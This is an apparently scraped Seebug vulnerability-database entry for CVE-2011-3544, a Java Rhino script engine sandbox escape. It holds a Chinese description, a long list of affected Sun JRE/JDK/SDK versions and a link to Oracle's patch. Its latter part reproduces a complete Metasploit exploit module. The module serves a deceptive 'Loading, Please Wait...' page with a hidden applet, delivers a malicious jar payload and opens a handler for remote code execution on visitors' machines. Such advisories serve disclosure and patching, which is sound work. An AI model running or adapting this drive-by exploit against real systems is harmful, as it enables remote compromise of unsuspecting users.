Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
seebugRootSSV:24273
HistoryDec 01, 2011 - 12:00 a.m.

Oracle Java Applet Rhino脚本引擎远程代码执行漏洞

2011-12-0100:00:00
Root
www.seebug.org
45
sun java runtime environment
rhino javascript
remote code execution
bugtraq id
cve id
windows production release
solaris production release
linux production release

EPSS

0.96

Percentile

99.5%

JSON

Bugtraq ID: 50218
CVE ID：CVE-2011-3544

Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。
Java处理Rhino JavaScript错误存在缺陷，Java中的内置javascript引擎没有对javascript错误对象执行充分过滤，结果导致不可信代码以特权上下文运行

Sun SDK (Windows Production Release) 1.4.2 _24
Sun SDK (Windows Production Release) 1.4.2 _15
Sun SDK (Windows Production Release) 1.4.2 _10
Sun SDK (Windows Production Release) 1.4.2 _09
Sun SDK (Windows Production Release) 1.4.2 _08
Sun SDK (Windows Production Release) 1.4.2 _07
Sun SDK (Windows Production Release) 1.4.2 _06
Sun SDK (Windows Production Release) 1.4.2 _05
Sun SDK (Windows Production Release) 1.4.2 _04
Sun SDK (Windows Production Release) 1.4.2 _03
Sun SDK (Windows Production Release) 1.4.2
Sun SDK (Windows Production Release) 1.4.2_33
Sun SDK (Windows Production Release) 1.4.2_32
Sun SDK (Windows Production Release) 1.4.2_31
Sun SDK (Windows Production Release) 1.4.2_30
Sun SDK (Windows Production Release) 1.4.2_29
Sun SDK (Windows Production Release) 1.4.2_28
Sun SDK (Windows Production Release) 1.4.2_27
Sun SDK (Windows Production Release) 1.4.2_26
Sun SDK (Windows Production Release) 1.4.2_25
Sun SDK (Windows Production Release) 1.4.2_22
Sun SDK (Windows Production Release) 1.4.2_20
Sun SDK (Windows Production Release) 1.4.2_19
Sun SDK (Windows Production Release) 1.4.2_18
Sun SDK (Windows Production Release) 1.4.2_17
Sun SDK (Windows Production Release) 1.4.2_16
Sun SDK (Windows Production Release) 1.4.2_14
Sun SDK (Windows Production Release) 1.4.2_13
Sun SDK (Windows Production Release) 1.4.2_12
Sun SDK (Windows Production Release) 1.4.2_11
Sun SDK (Solaris Production Release) 1.4.2 _24
Sun SDK (Solaris Production Release) 1.4.2 _15
Sun SDK (Solaris Production Release) 1.4.2 _10
Sun SDK (Solaris Production Release) 1.4.2 _09
Sun SDK (Solaris Production Release) 1.4.2 _08
Sun SDK (Solaris Production Release) 1.4.2 _07
Sun SDK (Solaris Production Release) 1.4.2 _06
Sun SDK (Solaris Production Release) 1.4.2 _05
Sun SDK (Solaris Production Release) 1.4.2 _04
Sun SDK (Solaris Production Release) 1.4.2 _03
Sun SDK (Solaris Production Release) 1.4.2
Sun SDK (Solaris Production Release) 1.4.2_33
Sun SDK (Solaris Production Release) 1.4.2_32
Sun SDK (Solaris Production Release) 1.4.2_31
Sun SDK (Solaris Production Release) 1.4.2_30
Sun SDK (Solaris Production Release) 1.4.2_29
Sun SDK (Solaris Production Release) 1.4.2_28
Sun SDK (Solaris Production Release) 1.4.2_27
Sun SDK (Solaris Production Release) 1.4.2_26
Sun SDK (Solaris Production Release) 1.4.2_25
Sun SDK (Solaris Production Release) 1.4.2_22
Sun SDK (Solaris Production Release) 1.4.2_20
Sun SDK (Solaris Production Release) 1.4.2_19
Sun SDK (Solaris Production Release) 1.4.2_18
Sun SDK (Solaris Production Release) 1.4.2_17
Sun SDK (Solaris Production Release) 1.4.2_16
Sun SDK (Solaris Production Release) 1.4.2_14
Sun SDK (Solaris Production Release) 1.4.2_13
Sun SDK (Solaris Production Release) 1.4.2_12
Sun SDK (Solaris Production Release) 1.4.2_11
Sun SDK (Linux Production Release) 1.4.2 _24
Sun SDK (Linux Production Release) 1.4.2 _15
Sun SDK (Linux Production Release) 1.4.2 _10
Sun SDK (Linux Production Release) 1.4.2 _09
Sun SDK (Linux Production Release) 1.4.2 _08
Sun SDK (Linux Production Release) 1.4.2 _07
Sun SDK (Linux Production Release) 1.4.2 _06
Sun SDK (Linux Production Release) 1.4.2 _05
Sun SDK (Linux Production Release) 1.4.2 _04
Sun SDK (Linux Production Release) 1.4.2 _03
Sun SDK (Linux Production Release) 1.4.2 _02
Sun SDK (Linux Production Release) 1.4.2 _01
Sun SDK (Linux Production Release) 1.4.2
Sun SDK (Linux Production Release) 1.4.2_33
Sun SDK (Linux Production Release) 1.4.2_32
Sun SDK (Linux Production Release) 1.4.2_31
Sun SDK (Linux Production Release) 1.4.2_30
Sun SDK (Linux Production Release) 1.4.2_29
Sun SDK (Linux Production Release) 1.4.2_28
Sun SDK (Linux Production Release) 1.4.2_27
Sun SDK (Linux Production Release) 1.4.2_26
Sun SDK (Linux Production Release) 1.4.2_25
Sun SDK (Linux Production Release) 1.4.2_22
Sun SDK (Linux Production Release) 1.4.2_20
Sun SDK (Linux Production Release) 1.4.2_19
Sun SDK (Linux Production Release) 1.4.2_18
Sun SDK (Linux Production Release) 1.4.2_17
Sun SDK (Linux Production Release) 1.4.2_16
Sun SDK (Linux Production Release) 1.4.2_14
Sun SDK (Linux Production Release) 1.4.2_13
Sun SDK (Linux Production Release) 1.4.2_12
Sun SDK (Linux Production Release) 1.4.2_11
Sun JRE (Windows Production Release) 1.6 _17
Sun JRE (Windows Production Release) 1.6 _13
Sun JRE (Windows Production Release) 1.6 _12
Sun JRE (Windows Production Release) 1.6 _10
Sun JRE (Windows Production Release) 1.6 _07
Sun JRE (Windows Production Release) 1.6 _06
Sun JRE (Windows Production Release) 1.6 _05
Sun JRE (Windows Production Release) 1.6 _04
Sun JRE (Windows Production Release) 1.6
Sun JRE (Windows Production Release) 1.5 _22
Sun JRE (Windows Production Release) 1.5 _18
Sun JRE (Windows Production Release) 1.5 _16
Sun JRE (Windows Production Release) 1.5 _15
Sun JRE (Windows Production Release) 1.5 _06
Sun JRE (Windows Production Release) 1.5 _05
Sun JRE (Windows Production Release) 1.5 _04
Sun JRE (Windows Production Release) 1.5 _03
Sun JRE (Windows Production Release) 1.5 _02
Sun JRE (Windows Production Release) 1.5 _01
Sun JRE (Windows Production Release) 1.5
Sun JRE (Windows Production Release) 1.4.2 _28
Sun JRE (Windows Production Release) 1.4.2 _27
Sun JRE (Windows Production Release) 1.4.2 _24
Sun JRE (Windows Production Release) 1.4.2 _10
Sun JRE (Windows Production Release) 1.4.2 _09
Sun JRE (Windows Production Release) 1.4.2 _09
Sun JRE (Windows Production Release) 1.4.2 _08
Sun JRE (Windows Production Release) 1.4.2 _08
Sun JRE (Windows Production Release) 1.4.2 _07
Sun JRE (Windows Production Release) 1.4.2 _07
Sun JRE (Windows Production Release) 1.4.2 _06
Sun JRE (Windows Production Release) 1.4.2 _05
Sun JRE (Windows Production Release) 1.4.2 _04
Sun JRE (Windows Production Release) 1.4.2 _03
Sun JRE (Windows Production Release) 1.4.2 _02
Sun JRE (Windows Production Release) 1.4.2 _01
Sun JRE (Windows Production Release) 1.4.2
Sun JRE (Windows Production Release) 1.6.0_27
Sun JRE (Windows Production Release) 1.6.0_26
Sun JRE (Windows Production Release) 1.6.0_25
Sun JRE (Windows Production Release) 1.6.0_24
Sun JRE (Windows Production Release) 1.6.0_23
Sun JRE (Windows Production Release) 1.6.0_22
Sun JRE (Windows Production Release) 1.6.0_21
Sun JRE (Windows Production Release) 1.6.0_20
Sun JRE (Windows Production Release) 1.6.0_2
Sun JRE (Windows Production Release) 1.6.0_19
Sun JRE (Windows Production Release) 1.6.0_18
Sun JRE (Windows Production Release) 1.6.0_15
Sun JRE (Windows Production Release) 1.6.0_14
Sun JRE (Windows Production Release) 1.6.0_11
Sun JRE (Windows Production Release) 1.6.0_03
Sun JRE (Windows Production Release) 1.6.0_02
Sun JRE (Windows Production Release) 1.6.0_01
Sun JRE (Windows Production Release) 1.5.0_31
Sun JRE (Windows Production Release) 1.5.0_30
Sun JRE (Windows Production Release) 1.5.0_29
Sun JRE (Windows Production Release) 1.5.0_28
Sun JRE (Windows Production Release) 1.5.0_27
Sun JRE (Windows Production Release) 1.5.0_26
Sun JRE (Windows Production Release) 1.5.0_25
Sun JRE (Windows Production Release) 1.5.0_23
Sun JRE (Windows Production Release) 1.5.0_20
Sun JRE (Windows Production Release) 1.5.0_17
Sun JRE (Windows Production Release) 1.5.0_14
Sun JRE (Windows Production Release) 1.5.0_13
Sun JRE (Windows Production Release) 1.5.0_12
Sun JRE (Windows Production Release) 1.5.0_11
Sun JRE (Windows Production Release) 1.5.0_10
Sun JRE (Windows Production Release) 1.5.0.0_09
Sun JRE (Windows Production Release) 1.5.0.0_08
Sun JRE (Windows Production Release) 1.5.0.0_07
Sun JRE (Windows Production Release) 1.4.2_33
Sun JRE (Windows Production Release) 1.4.2_32
Sun JRE (Windows Production Release) 1.4.2_31
Sun JRE (Windows Production Release) 1.4.2_30
Sun JRE (Windows Production Release) 1.4.2_29
Sun JRE (Windows Production Release) 1.4.2_25
Sun JRE (Windows Production Release) 1.4.2_22
Sun JRE (Windows Production Release) 1.4.2_20
Sun JRE (Windows Production Release) 1.4.2_19
Sun JRE (Windows Production Release) 1.4.2_18
Sun JRE (Windows Production Release) 1.4.2_17
Sun JRE (Windows Production Release) 1.4.2_16
Sun JRE (Windows Production Release) 1.4.2_15
Sun JRE (Windows Production Release) 1.4.2_14
Sun JRE (Windows Production Release) 1.4.2_13
Sun JRE (Windows Production Release) 1.4.2_12
Sun JRE (Windows Production Release) 1.4.2_11
Sun JRE (Solaris Production Release) 1.6 _17
Sun JRE (Solaris Production Release) 1.6 _13
Sun JRE (Solaris Production Release) 1.6 _12
Sun JRE (Solaris Production Release) 1.6 _10
Sun JRE (Solaris Production Release) 1.6 _07
Sun JRE (Solaris Production Release) 1.6 _06
Sun JRE (Solaris Production Release) 1.6 _05
Sun JRE (Solaris Production Release) 1.6 _04
Sun JRE (Solaris Production Release) 1.6
Sun JRE (Solaris Production Release) 1.5 _22
Sun JRE (Solaris Production Release) 1.5 _18
Sun JRE (Solaris Production Release) 1.5 _16
Sun JRE (Solaris Production Release) 1.5 _15
Sun JRE (Solaris Production Release) 1.5 _06
Sun JRE (Solaris Production Release) 1.5 _05
Sun JRE (Solaris Production Release) 1.5 _04
Sun JRE (Solaris Production Release) 1.5 _03
Sun JRE (Solaris Production Release) 1.5 _02
Sun JRE (Solaris Production Release) 1.5 _01
Sun JRE (Solaris Production Release) 1.5
Sun JRE (Solaris Production Release) 1.4.2 _24
Sun JRE (Solaris Production Release) 1.4.2 _10
Sun JRE (Solaris Production Release) 1.4.2 _09
Sun JRE (Solaris Production Release) 1.4.2 _09
Sun JRE (Solaris Production Release) 1.4.2 _08
Sun JRE (Solaris Production Release) 1.4.2 _08
Sun JRE (Solaris Production Release) 1.4.2 _07
Sun JRE (Solaris Production Release) 1.4.2 _07
Sun JRE (Solaris Production Release) 1.4.2 _06
Sun JRE (Solaris Production Release) 1.4.2 _05
Sun JRE (Solaris Production Release) 1.4.2 _04
Sun JRE (Solaris Production Release) 1.4.2 _03
Sun JRE (Solaris Production Release) 1.4.2 _02
Sun JRE (Solaris Production Release) 1.4.2 _01
Sun JRE (Solaris Production Release) 1.4.2
Sun JRE (Solaris Production Release) 1.6.0_27
Sun JRE (Solaris Production Release) 1.6.0_26
Sun JRE (Solaris Production Release) 1.6.0_25
Sun JRE (Solaris Production Release) 1.6.0_24
Sun JRE (Solaris Production Release) 1.6.0_23
Sun JRE (Solaris Production Release) 1.6.0_22
Sun JRE (Solaris Production Release) 1.6.0_21
Sun JRE (Solaris Production Release) 1.6.0_2
Sun JRE (Solaris Production Release) 1.6.0_19
Sun JRE (Solaris Production Release) 1.6.0_18
Sun JRE (Solaris Production Release) 1.6.0_15
Sun JRE (Solaris Production Release) 1.6.0_14
Sun JRE (Solaris Production Release) 1.6.0_11
Sun JRE (Solaris Production Release) 1.6.0_03
Sun JRE (Solaris Production Release) 1.6.0_02
Sun JRE (Solaris Production Release) 1.6.0_01
Sun JRE (Solaris Production Release) 1.5.0_31
Sun JRE (Solaris Production Release) 1.5.0_30
Sun JRE (Solaris Production Release) 1.5.0_29
Sun JRE (Solaris Production Release) 1.5.0_28
Sun JRE (Solaris Production Release) 1.5.0_27
Sun JRE (Solaris Production Release) 1.5.0_26
Sun JRE (Solaris Production Release) 1.5.0_25
Sun JRE (Solaris Production Release) 1.5.0_23
Sun JRE (Solaris Production Release) 1.5.0_20
Sun JRE (Solaris Production Release) 1.5.0_17
Sun JRE (Solaris Production Release) 1.5.0_14
Sun JRE (Solaris Production Release) 1.5.0_13
Sun JRE (Solaris Production Release) 1.5.0_12
Sun JRE (Solaris Production Release) 1.5.0_11
Sun JRE (Solaris Production Release) 1.5.0_10
Sun JRE (Solaris Production Release) 1.5.0.0_09
Sun JRE (Solaris Production Release) 1.5.0.0_08
Sun JRE (Solaris Production Release) 1.5.0.0_07
Sun JRE (Solaris Production Release) 1.4.2_33
Sun JRE (Solaris Production Release) 1.4.2_32
Sun JRE (Solaris Production Release) 1.4.2_31
Sun JRE (Solaris Production Release) 1.4.2_30
Sun JRE (Solaris Production Release) 1.4.2_29
Sun JRE (Solaris Production Release) 1.4.2_28
Sun JRE (Solaris Production Release) 1.4.2_27
Sun JRE (Solaris Production Release) 1.4.2_25
Sun JRE (Solaris Production Release) 1.4.2_22
Sun JRE (Solaris Production Release) 1.4.2_20
Sun JRE (Solaris Production Release) 1.4.2_19
Sun JRE (Solaris Production Release) 1.4.2_18
Sun JRE (Solaris Production Release) 1.4.2_17
Sun JRE (Solaris Production Release) 1.4.2_16
Sun JRE (Solaris Production Release) 1.4.2_15
Sun JRE (Solaris Production Release) 1.4.2_14
Sun JRE (Solaris Production Release) 1.4.2_13
Sun JRE (Solaris Production Release) 1.4.2_12
Sun JRE (Solaris Production Release) 1.4.2_11
Sun JRE (Linux Production Release) 1.6 _17
Sun JRE (Linux Production Release) 1.6 _13
Sun JRE (Linux Production Release) 1.6 _12
Sun JRE (Linux Production Release) 1.6 _10
Sun JRE (Linux Production Release) 1.6 _07
Sun JRE (Linux Production Release) 1.6 _06
Sun JRE (Linux Production Release) 1.6 _05
Sun JRE (Linux Production Release) 1.6 _04
Sun JRE (Linux Production Release) 1.6
Sun JRE (Linux Production Release) 1.5 _22
Sun JRE (Linux Production Release) 1.5 _18
Sun JRE (Linux Production Release) 1.5 _16
Sun JRE (Linux Production Release) 1.5 _15
Sun JRE (Linux Production Release) 1.5 _07
Sun JRE (Linux Production Release) 1.5 _06
Sun JRE (Linux Production Release) 1.5 _05
Sun JRE (Linux Production Release) 1.5 _04
Sun JRE (Linux Production Release) 1.5 _03
Sun JRE (Linux Production Release) 1.5 _02
Sun JRE (Linux Production Release) 1.5 _01
Sun JRE (Linux Production Release) 1.5 .0 beta
Sun JRE (Linux Production Release) 1.5
Sun JRE (Linux Production Release) 1.4.2 _24
Sun JRE (Linux Production Release) 1.4.2 _10-b03
Sun JRE (Linux Production Release) 1.4.2 _10
Sun JRE (Linux Production Release) 1.4.2 _09
Sun JRE (Linux Production Release) 1.4.2 _08
Sun JRE (Linux Production Release) 1.4.2 _07
Sun JRE (Linux Production Release) 1.4.2 _06
Sun JRE (Linux Production Release) 1.4.2 _05
Sun JRE (Linux Production Release) 1.4.2 _04
Sun JRE (Linux Production Release) 1.4.2 _03
Sun JRE (Linux Production Release) 1.4.2 _02
Sun JRE (Linux Production Release) 1.4.2 _01
Sun JRE (Linux Production Release) 1.4.2
Sun JRE (Linux Production Release) 1.6.0_27
Sun JRE (Linux Production Release) 1.6.0_26
Sun JRE (Linux Production Release) 1.6.0_25
Sun JRE (Linux Production Release) 1.6.0_24
Sun JRE (Linux Production Release) 1.6.0_23
Sun JRE (Linux Production Release) 1.6.0_22
Sun JRE (Linux Production Release) 1.6.0_21
Sun JRE (Linux Production Release) 1.6.0_20
Sun JRE (Linux Production Release) 1.6.0_19
Sun JRE (Linux Production Release) 1.6.0_18
Sun JRE (Linux Production Release) 1.6.0_15
Sun JRE (Linux Production Release) 1.6.0_14
Sun JRE (Linux Production Release) 1.6.0_11
Sun JRE (Linux Production Release) 1.6.0_03
Sun JRE (Linux Production Release) 1.6.0_02
Sun JRE (Linux Production Release) 1.6.0_01
Sun JRE (Linux Production Release) 1.5.0_31
Sun JRE (Linux Production Release) 1.5.0_30
Sun JRE (Linux Production Release) 1.5.0_29
Sun JRE (Linux Production Release) 1.5.0_28
Sun JRE (Linux Production Release) 1.5.0_27
Sun JRE (Linux Production Release) 1.5.0_26
Sun JRE (Linux Production Release) 1.5.0_25
Sun JRE (Linux Production Release) 1.5.0_23
Sun JRE (Linux Production Release) 1.5.0_20
Sun JRE (Linux Production Release) 1.5.0_17
Sun JRE (Linux Production Release) 1.5.0_14
Sun JRE (Linux Production Release) 1.5.0_13
Sun JRE (Linux Production Release) 1.5.0_12
Sun JRE (Linux Production Release) 1.5.0_11
Sun JRE (Linux Production Release) 1.5.0_10
Sun JRE (Linux Production Release) 1.5.0_09
Sun JRE (Linux Production Release) 1.5.0_08
Sun JRE (Linux Production Release) 1.4.2_33
Sun JRE (Linux Production Release) 1.4.2_32
Sun JRE (Linux Production Release) 1.4.2_31
Sun JRE (Linux Production Release) 1.4.2_30
Sun JRE (Linux Production Release) 1.4.2_29
Sun JRE (Linux Production Release) 1.4.2_28
Sun JRE (Linux Production Release) 1.4.2_27
Sun JRE (Linux Production Release) 1.4.2_25
Sun JRE (Linux Production Release) 1.4.2_22
Sun JRE (Linux Production Release) 1.4.2_20
Sun JRE (Linux Production Release) 1.4.2_19
Sun JRE (Linux Production Release) 1.4.2_18
Sun JRE (Linux Production Release) 1.4.2_17
Sun JRE (Linux Production Release) 1.4.2_16
Sun JRE (Linux Production Release) 1.4.2_15
Sun JRE (Linux Production Release) 1.4.2_14
Sun JRE (Linux Production Release) 1.4.2_13
Sun JRE (Linux Production Release) 1.4.2_12
Sun JRE (Linux Production Release) 1.4.2_11
Sun JDK (Windows Production Release) 1.6 _17
Sun JDK (Windows Production Release) 1.6 _14
Sun JDK (Windows Production Release) 1.6 _13
Sun JDK (Windows Production Release) 1.6 _11
Sun JDK (Windows Production Release) 1.6 _10
Sun JDK (Windows Production Release) 1.6 _07
Sun JDK (Windows Production Release) 1.6 _06
Sun JDK (Windows Production Release) 1.6 _05
Sun JDK (Windows Production Release) 1.6 _04
Sun JDK (Windows Production Release) 1.6
Sun JDK (Windows Production Release) 1.5 0_10
Sun JDK (Windows Production Release) 1.5 _22
Sun JDK (Windows Production Release) 1.5 _18
Sun JDK (Windows Production Release) 1.5 _17
Sun JDK (Windows Production Release) 1.5 _15
Sun JDK (Windows Production Release) 1.5 _14
Sun JDK (Windows Production Release) 1.5 _02
Sun JDK (Windows Production Release) 1.5 _01
Sun JDK (Windows Production Release) 1.5 .0_05
Sun JDK (Windows Production Release) 1.5 .0_04
Sun JDK (Windows Production Release) 1.5 .0_03
Sun JDK (Windows Production Release) 1.6.0_27
Sun JDK (Windows Production Release) 1.6.0_26
Sun JDK (Windows Production Release) 1.6.0_25
Sun JDK (Windows Production Release) 1.6.0_24
Sun JDK (Windows Production Release) 1.6.0_23
Sun JDK (Windows Production Release) 1.6.0_22
Sun JDK (Windows Production Release) 1.6.0_21
Sun JDK (Windows Production Release) 1.6.0_20
Sun JDK (Windows Production Release) 1.6.0_19
Sun JDK (Windows Production Release) 1.6.0_18
Sun JDK (Windows Production Release) 1.6.0_15
Sun JDK (Windows Production Release) 1.6.0_03
Sun JDK (Windows Production Release) 1.6.0_02
Sun JDK (Windows Production Release) 1.6.0_01-b06
Sun JDK (Windows Production Release) 1.6.0_01
Sun JDK (Windows Production Release) 1.5.0_31
Sun JDK (Windows Production Release) 1.5.0_30
Sun JDK (Windows Production Release) 1.5.0_29
Sun JDK (Windows Production Release) 1.5.0_28
Sun JDK (Windows Production Release) 1.5.0_27
Sun JDK (Windows Production Release) 1.5.0_26
Sun JDK (Windows Production Release) 1.5.0_25
Sun JDK (Windows Production Release) 1.5.0_24
Sun JDK (Windows Production Release) 1.5.0_23
Sun JDK (Windows Production Release) 1.5.0_20
Sun JDK (Windows Production Release) 1.5.0_16
Sun JDK (Windows Production Release) 1.5.0_13
Sun JDK (Windows Production Release) 1.5.0_12
Sun JDK (Windows Production Release) 1.5.0_11-b03
Sun JDK (Windows Production Release) 1.5.0_07-b03
Sun JDK (Windows Production Release) 1.5.0.0_12
Sun JDK (Windows Production Release) 1.5.0.0_11
Sun JDK (Windows Production Release) 1.5.0.0_09
Sun JDK (Windows Production Release) 1.5.0.0_08
Sun JDK (Windows Production Release) 1.5.0.0_06
Sun JDK (Solaris Production Release) 1.6 _17
Sun JDK (Solaris Production Release) 1.6 _14
Sun JDK (Solaris Production Release) 1.6 _13
Sun JDK (Solaris Production Release) 1.6 _11
Sun JDK (Solaris Production Release) 1.6 _10
Sun JDK (Solaris Production Release) 1.6 _07
Sun JDK (Solaris Production Release) 1.6 _06
Sun JDK (Solaris Production Release) 1.6 _05
Sun JDK (Solaris Production Release) 1.6 _04
Sun JDK (Solaris Production Release) 1.6 _01-b06
Sun JDK (Solaris Production Release) 1.6
Sun JDK (Solaris Production Release) 1.5 0_10
Sun JDK (Solaris Production Release) 1.5 0_09
Sun JDK (Solaris Production Release) 1.5 0_03
Sun JDK (Solaris Production Release) 1.5 _22
Sun JDK (Solaris Production Release) 1.5 _18
Sun JDK (Solaris Production Release) 1.5 _17
Sun JDK (Solaris Production Release) 1.5 _15
Sun JDK (Solaris Production Release) 1.5 _14
Sun JDK (Solaris Production Release) 1.5 _11-b03
Sun JDK (Solaris Production Release) 1.5 _07-b03
Sun JDK (Solaris Production Release) 1.5 _06
Sun JDK (Solaris Production Release) 1.5 _02
Sun JDK (Solaris Production Release) 1.5 _01
Sun JDK (Solaris Production Release) 1.5 .0_05
Sun JDK (Solaris Production Release) 1.5 .0_04
Sun JDK (Solaris Production Release) 1.5 .0_03
Sun JDK (Solaris Production Release) 1.6.0_27
Sun JDK (Solaris Production Release) 1.6.0_26
Sun JDK (Solaris Production Release) 1.6.0_25
Sun JDK (Solaris Production Release) 1.6.0_24
Sun JDK (Solaris Production Release) 1.6.0_23
Sun JDK (Solaris Production Release) 1.6.0_22
Sun JDK (Solaris Production Release) 1.6.0_21
Sun JDK (Solaris Production Release) 1.6.0_20
Sun JDK (Solaris Production Release) 1.6.0_19
Sun JDK (Solaris Production Release) 1.6.0_18
Sun JDK (Solaris Production Release) 1.6.0_15
Sun JDK (Solaris Production Release) 1.6.0_03
Sun JDK (Solaris Production Release) 1.6.0_02
Sun JDK (Solaris Production Release) 1.6.0_01
Sun JDK (Solaris Production Release) 1.5.0_31
Sun JDK (Solaris Production Release) 1.5.0_30
Sun JDK (Solaris Production Release) 1.5.0_29
Sun JDK (Solaris Production Release) 1.5.0_28
Sun JDK (Solaris Production Release) 1.5.0_27
Sun JDK (Solaris Production Release) 1.5.0_26
Sun JDK (Solaris Production Release) 1.5.0_25
Sun JDK (Solaris Production Release) 1.5.0_24
Sun JDK (Solaris Production Release) 1.5.0_23
Sun JDK (Solaris Production Release) 1.5.0_20
Sun JDK (Solaris Production Release) 1.5.0_16
Sun JDK (Solaris Production Release) 1.5.0_13
Sun JDK (Solaris Production Release) 1.5.0_12
Sun JDK (Solaris Production Release) 1.5.0_11
Sun JDK (Linux Production Release) 1.6 _17
Sun JDK (Linux Production Release) 1.6 _14
Sun JDK (Linux Production Release) 1.6 _13
Sun JDK (Linux Production Release) 1.6 _11
Sun JDK (Linux Production Release) 1.6 _10
Sun JDK (Linux Production Release) 1.6 _07
Sun JDK (Linux Production Release) 1.6 _06
Sun JDK (Linux Production Release) 1.6 _05
Sun JDK (Linux Production Release) 1.6 _04
Sun JDK (Linux Production Release) 1.6 _01-b06
Sun JDK (Linux Production Release) 1.6 _01
Sun JDK (Linux Production Release) 1.6
Sun JDK (Linux Production Release) 1.5 0_10
Sun JDK (Linux Production Release) 1.5 _22
Sun JDK (Linux Production Release) 1.5 _18
Sun JDK (Linux Production Release) 1.5 _17
Sun JDK (Linux Production Release) 1.5 _15
Sun JDK (Linux Production Release) 1.5 _14
Sun JDK (Linux Production Release) 1.5 _11-b03
Sun JDK (Linux Production Release) 1.5 _07-b03
Sun JDK (Linux Production Release) 1.5 _07
Sun JDK (Linux Production Release) 1.5 _06
Sun JDK (Linux Production Release) 1.5 _02
Sun JDK (Linux Production Release) 1.5 _01
Sun JDK (Linux Production Release) 1.5 .0_05
Sun JDK (Linux Production Release) 1.5
Sun JDK (Linux Production Release) 1.6.0_27
Sun JDK (Linux Production Release) 1.6.0_26
Sun JDK (Linux Production Release) 1.6.0_25
Sun JDK (Linux Production Release) 1.6.0_24
Sun JDK (Linux Production Release) 1.6.0_23
Sun JDK (Linux Production Release) 1.6.0_22
Sun JDK (Linux Production Release) 1.6.0_21
Sun JDK (Linux Production Release) 1.6.0_20
Sun JDK (Linux Production Release) 1.6.0_19
Sun JDK (Linux Production Release) 1.6.0_18
Sun JDK (Linux Production Release) 1.6.0_15
Sun JDK (Linux Production Release) 1.6.0_03
Sun JDK (Linux Production Release) 1.6.0_02
Sun JDK (Linux Production Release) 1.5.0_31
Sun JDK (Linux Production Release) 1.5.0_30
Sun JDK (Linux Production Release) 1.5.0_29
Sun JDK (Linux Production Release) 1.5.0_28
Sun JDK (Linux Production Release) 1.5.0_27
Sun JDK (Linux Production Release) 1.5.0_26
Sun JDK (Linux Production Release) 1.5.0_25
Sun JDK (Linux Production Release) 1.5.0_24
Sun JDK (Linux Production Release) 1.5.0_23
Sun JDK (Linux Production Release) 1.5.0_20
Sun JDK (Linux Production Release) 1.5.0_16
Sun JDK (Linux Production Release) 1.5.0_13
Sun JDK (Linux Production Release) 1.5.0.0_12
Sun JDK (Linux Production Release) 1.5.0.0_11
Sun JDK (Linux Production Release) 1.5.0.0_09
Sun JDK (Linux Production Release) 1.5.0.0_08
Sun JDK (Linux Production Release) 1.5.0.0_04
Sun JDK (Linux Production Release) 1.5.0.0_03
厂商解决方案

用户可参考如下供应商提供的安全公告获得补丁信息：
http://www.oracle.com/technetwork/topics/security/javacpuoct2011-443431.html


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',
      'Description'   => %q{
          This module exploits a vulnerability in the Rhino Script Engine that
        can be used by a Java Applet to run arbitrary Java code outside of
        the sandbox.  The vulnerability affects version 7 and version 6 update
        27 and earlier, and should work on any browser that supports Java
        (for example: IE, Firefox, Google Chrome, etc)
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Michael Schierl', # Discovery
          'juan vazquez',    # metasploit module
          'Edward D. Teach <[email protected]>',
          'sinn3r'
        ],
      'References'    =>
        [
          [ 'CVE', '2011-3544' ],
          [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
          [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
        ],
      'Platform'      => [ 'java', 'win', 'linux' ],
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
            }
          ],
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Apple OSX',
            {
              'ARCH' => ARCH_X86,
              'Platform' => 'osx'
            }
          ],
          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 18 2011'
      ))
  end


  def on_request_uri( cli, request )
    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect(cli, get_resource() + '/', '')
        return
      end

      print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")

      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
      return
    end

    paths = [
      [ "Exploit.class" ]
    ]

    p = regenerate_payload(cli)

    jar  = p.encoded_jar
    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0,idx].join("/") + "/"
        if !(jar.entries.map{|e|e.name}.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
      data = fd.read(fd.stat.size)
      jar.add_file(path.join("/"), data)
      fd.close
    end

    print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

    handler( cli )
  end

  def generate_html
    html  = "<html><head><title>Loading, Please Wait...</title></head>"
    html += "<body><center><p>Loading, Please Wait...</p></center>"
    html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
    html += "</applet></body></html>"
    return html
  end

end

Related

seebug 2
exploitdb 1
threatpost 10
thn 2
nvd 1
canvas 1
zdt 2
saint 4
checkpoint_advisories 1
cvelist 1
prion 1
zdi 1
metasploit 1
packetstorm 1
cisa_kev 1
veracode 1
cve 1
attackerkb 1
securityvulns 3
ubuntucve 1
symantec 1
fireeye 1
openvas 63
fedora 18
debian 2
nessus 31
osv 3
redhat 5
oraclelinux 1
amazon 1
centos 1
